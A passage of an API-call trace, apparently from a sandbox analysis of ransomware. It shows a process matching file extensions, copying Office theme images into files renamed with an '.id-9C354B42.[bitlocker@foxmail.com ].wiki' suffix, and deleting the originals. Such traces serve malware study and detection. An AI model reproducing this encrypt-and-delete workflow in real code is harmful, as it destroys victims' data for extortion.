[0051.000] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0051.000] lstrlenW (lpString=".bz2") returned 4 [0051.000] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0051.000] lstrlenW (lpString=".7z") returned 3 [0051.000] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0051.000] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF") returned 74 [0051.000] lstrlenW (lpString=".dbf") returned 4 [0051.000] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0051.000] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF") returned 74 [0051.000] lstrlenW (lpString=".1cd") returned 4 [0051.000] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0051.000] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF") returned 74 [0051.000] lstrlenW (lpString=".jpg") returned 4 [0051.000] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0051.001] lstrcmpiW (lpString1=".PNG", lpString2=".wiki") returned -1 [0051.001] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0051.001] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0051.001] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x234ff1c | out: lpFileSize=0x234ff1c*=20627) returned 1 [0051.001] CloseHandle (hObject=0x204) returned 1 [0051.001] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\thmbnail.png")) returned 0x20 [0051.001] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\thmbnail.png.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0051.001] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0051.001] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.001] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.001] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\thmbnail.png.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0051.002] GetLastError () returned 0x0 [0051.002] ReadFile (in: hFile=0x204, lpBuffer=0x3650020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x234fed4, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesRead=0x234fed4*=0x5093, lpOverlapped=0x0) returned 1 [0051.003] WriteFile (in: hFile=0x1dc, lpBuffer=0x3650020*, nNumberOfBytesToWrite=0x50a0, lpNumberOfBytesWritten=0x234fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesWritten=0x234fc9c*=0x50a0, lpOverlapped=0x0) returned 1 [0051.005] ReadFile (in: hFile=0x204, lpBuffer=0x3650020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x234fed4, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesRead=0x234fed4*=0x0, lpOverlapped=0x0) returned 1 [0051.005] WriteFile (in: hFile=0x1dc, lpBuffer=0x3650020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x234fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesWritten=0x234fc9c*=0xec, lpOverlapped=0x0) returned 1 [0051.005] SetEndOfFile (hFile=0x1dc) returned 1 [0051.005] CloseHandle (hObject=0x1dc) returned 1 [0051.006] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.006] SetEndOfFile (hFile=0x204) returned 1 [0051.007] CloseHandle (hObject=0x204) returned 1 [0051.007] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0051.007] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\thmbnail.png")) returned 1 [0051.008] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG") returned 75 [0051.008] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG") returned 75 [0051.008] lstrlenW (lpString=".doc") returned 4 [0051.008] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0051.008] lstrlenW (lpString=".docx") returned 5 [0051.008] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0051.008] lstrlenW (lpString=".pdf") returned 4 [0051.008] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0051.008] lstrlenW (lpString=".xls") returned 4 [0051.008] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0051.008] lstrlenW (lpString=".xlsx") returned 5 [0051.008] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0051.008] lstrlenW (lpString=".ppt") returned 4 [0051.008] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0051.008] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG") returned 75 [0051.008] lstrlenW (lpString=".zip") returned 4 [0051.008] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0051.008] lstrlenW (lpString=".rar") returned 4 [0051.008] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0051.008] lstrlenW (lpString=".bz2") returned 4 [0051.008] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0051.008] lstrlenW (lpString=".7z") returned 3 [0051.008] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0051.008] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG") returned 75 [0051.008] lstrlenW (lpString=".dbf") returned 4 [0051.008] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0051.008] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG") returned 75 [0051.008] lstrlenW (lpString=".1cd") returned 4 [0051.009] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0051.009] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG") returned 75 [0051.009] lstrlenW (lpString=".jpg") returned 4 [0051.009] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0051.009] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG") returned 75 [0051.009] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG") returned 75 [0051.009] lstrlenW (lpString=".doc") returned 4 [0051.009] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0051.009] lstrlenW (lpString=".docx") returned 5 [0051.009] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0051.009] lstrlenW (lpString=".pdf") returned 4 [0051.009] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0051.009] lstrlenW (lpString=".xls") returned 4 [0051.009] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0051.009] lstrlenW (lpString=".xlsx") returned 5 [0051.009] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0051.009] lstrlenW (lpString=".ppt") returned 4 [0051.009] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0051.009] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG") returned 75 [0051.009] lstrlenW (lpString=".zip") returned 4 [0051.009] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0051.009] lstrlenW (lpString=".rar") returned 4 [0051.009] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0051.009] lstrlenW (lpString=".bz2") returned 4 [0051.009] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0051.009] lstrlenW (lpString=".7z") returned 3 [0051.009] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0051.009] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG") returned 75 [0051.009] lstrlenW (lpString=".dbf") returned 4 [0051.009] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0051.009] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG") returned 75 [0051.009] lstrlenW (lpString=".1cd") returned 4 [0051.009] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0051.009] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG") returned 75 [0051.010] lstrlenW (lpString=".jpg") returned 4 [0051.010] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0051.010] lstrcmpiW (lpString1=".GIF", lpString2=".wiki") returned -1 [0051.010] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0051.010] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0051.010] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x234ff1c | out: lpFileSize=0x234ff1c*=1560) returned 1 [0051.010] CloseHandle (hObject=0x204) returned 1 [0051.010] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\preview.gif")) returned 0x20 [0051.010] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\preview.gif.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0051.010] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0051.010] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.011] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.011] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\preview.gif.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0051.346] GetLastError () returned 0x0 [0051.346] ReadFile (in: hFile=0x204, lpBuffer=0x3650020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x234fed4, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesRead=0x234fed4*=0x618, lpOverlapped=0x0) returned 1 [0051.517] WriteFile (in: hFile=0x214, lpBuffer=0x3650020*, nNumberOfBytesToWrite=0x620, lpNumberOfBytesWritten=0x234fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesWritten=0x234fc9c*=0x620, lpOverlapped=0x0) returned 1 [0051.518] ReadFile (in: hFile=0x204, lpBuffer=0x3650020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x234fed4, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesRead=0x234fed4*=0x0, lpOverlapped=0x0) returned 1 [0051.518] WriteFile (in: hFile=0x214, lpBuffer=0x3650020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x234fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesWritten=0x234fc9c*=0xea, lpOverlapped=0x0) returned 1 [0051.518] SetEndOfFile (hFile=0x214) returned 1 [0051.518] CloseHandle (hObject=0x214) returned 1 [0051.519] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.519] SetEndOfFile (hFile=0x204) returned 1 [0051.519] CloseHandle (hObject=0x204) returned 1 [0051.519] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0051.520] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\preview.gif")) returned 1 [0051.520] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF") returned 76 [0051.520] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF") returned 76 [0051.520] lstrlenW (lpString=".doc") returned 4 [0051.520] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0051.520] lstrlenW (lpString=".docx") returned 5 [0051.520] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0051.520] lstrlenW (lpString=".pdf") returned 4 [0051.520] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0051.520] lstrlenW (lpString=".xls") returned 4 [0051.520] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0051.520] lstrlenW (lpString=".xlsx") returned 5 [0051.520] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0051.520] lstrlenW (lpString=".ppt") returned 4 [0051.520] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0051.520] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF") returned 76 [0051.520] lstrlenW (lpString=".zip") returned 4 [0051.521] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0051.521] lstrlenW (lpString=".rar") returned 4 [0051.521] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0051.521] lstrlenW (lpString=".bz2") returned 4 [0051.521] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0051.521] lstrlenW (lpString=".7z") returned 3 [0051.521] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0051.521] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF") returned 76 [0051.521] lstrlenW (lpString=".dbf") returned 4 [0051.521] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0051.521] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF") returned 76 [0051.521] lstrlenW (lpString=".1cd") returned 4 [0051.521] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0051.521] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF") returned 76 [0051.521] lstrlenW (lpString=".jpg") returned 4 [0051.521] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0051.521] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF") returned 76 [0051.521] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF") returned 76 [0051.521] lstrlenW (lpString=".doc") returned 4 [0051.521] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0051.521] lstrlenW (lpString=".docx") returned 5 [0051.521] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0051.521] lstrlenW (lpString=".pdf") returned 4 [0051.521] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0051.521] lstrlenW (lpString=".xls") returned 4 [0051.521] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0051.521] lstrlenW (lpString=".xlsx") returned 5 [0051.521] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0051.521] lstrlenW (lpString=".ppt") returned 4 [0051.521] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0051.521] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF") returned 76 [0051.521] lstrlenW (lpString=".zip") returned 4 [0051.521] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0051.521] lstrlenW (lpString=".rar") returned 4 [0051.522] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0051.522] lstrlenW (lpString=".bz2") returned 4 [0051.522] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0051.522] lstrlenW (lpString=".7z") returned 3 [0051.522] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0051.522] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF") returned 76 [0051.522] lstrlenW (lpString=".dbf") returned 4 [0051.522] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0051.522] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF") returned 76 [0051.522] lstrlenW (lpString=".1cd") returned 4 [0051.522] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0051.522] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF") returned 76 [0051.522] lstrlenW (lpString=".jpg") returned 4 [0051.522] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0051.522] lstrcmpiW (lpString1=".GIF", lpString2=".wiki") returned -1 [0051.522] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0051.522] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0051.522] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x234ff1c | out: lpFileSize=0x234ff1c*=3479) returned 1 [0051.522] CloseHandle (hObject=0x204) returned 1 [0051.522] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\preview.gif")) returned 0x20 [0051.523] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\preview.gif.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0051.523] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0051.523] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.523] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.523] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\preview.gif.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0051.762] GetLastError () returned 0x0 [0051.762] ReadFile (in: hFile=0x204, lpBuffer=0x3650020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x234fed4, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesRead=0x234fed4*=0xd97, lpOverlapped=0x0) returned 1 [0051.763] WriteFile (in: hFile=0x18c, lpBuffer=0x3650020*, nNumberOfBytesToWrite=0xda0, lpNumberOfBytesWritten=0x234fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesWritten=0x234fc9c*=0xda0, lpOverlapped=0x0) returned 1 [0051.764] ReadFile (in: hFile=0x204, lpBuffer=0x3650020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x234fed4, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesRead=0x234fed4*=0x0, lpOverlapped=0x0) returned 1 [0051.764] WriteFile (in: hFile=0x18c, lpBuffer=0x3650020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x234fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesWritten=0x234fc9c*=0xea, lpOverlapped=0x0) returned 1 [0051.764] SetEndOfFile (hFile=0x18c) returned 1 [0051.764] CloseHandle (hObject=0x18c) returned 1 [0051.765] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.765] SetEndOfFile (hFile=0x204) returned 1 [0051.766] CloseHandle (hObject=0x204) returned 1 [0051.766] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0051.766] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\preview.gif")) returned 1 [0051.767] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF") returned 76 [0051.767] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF") returned 76 [0051.767] lstrlenW (lpString=".doc") returned 4 [0051.767] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0051.767] lstrlenW (lpString=".docx") returned 5 [0051.767] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0051.767] lstrlenW (lpString=".pdf") returned 4 [0051.767] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0051.767] lstrlenW (lpString=".xls") returned 4 [0051.767] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0051.767] lstrlenW (lpString=".xlsx") returned 5 [0051.767] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0051.767] lstrlenW (lpString=".ppt") returned 4 [0051.767] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0051.767] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF") returned 76 [0051.767] lstrlenW (lpString=".zip") returned 4 [0051.767] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0051.767] lstrlenW (lpString=".rar") returned 4 [0051.767] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0051.767] lstrlenW (lpString=".bz2") returned 4 [0051.767] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0051.767] lstrlenW (lpString=".7z") returned 3 [0051.767] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0051.767] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF") returned 76 [0051.767] lstrlenW (lpString=".dbf") returned 4 [0051.767] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0051.767] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF") returned 76 [0051.767] lstrlenW (lpString=".1cd") returned 4 [0051.767] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0051.768] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF") returned 76 [0051.768] lstrlenW (lpString=".jpg") returned 4 [0051.768] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0051.768] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF") returned 76 [0051.768] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF") returned 76 [0051.768] lstrlenW (lpString=".doc") returned 4 [0051.768] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0051.768] lstrlenW (lpString=".docx") returned 5 [0051.768] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0051.768] lstrlenW (lpString=".pdf") returned 4 [0051.768] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0051.768] lstrlenW (lpString=".xls") returned 4 [0051.768] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0051.768] lstrlenW (lpString=".xlsx") returned 5 [0051.768] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0051.768] lstrlenW (lpString=".ppt") returned 4 [0051.768] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0051.768] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF") returned 76 [0051.768] lstrlenW (lpString=".zip") returned 4 [0051.768] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 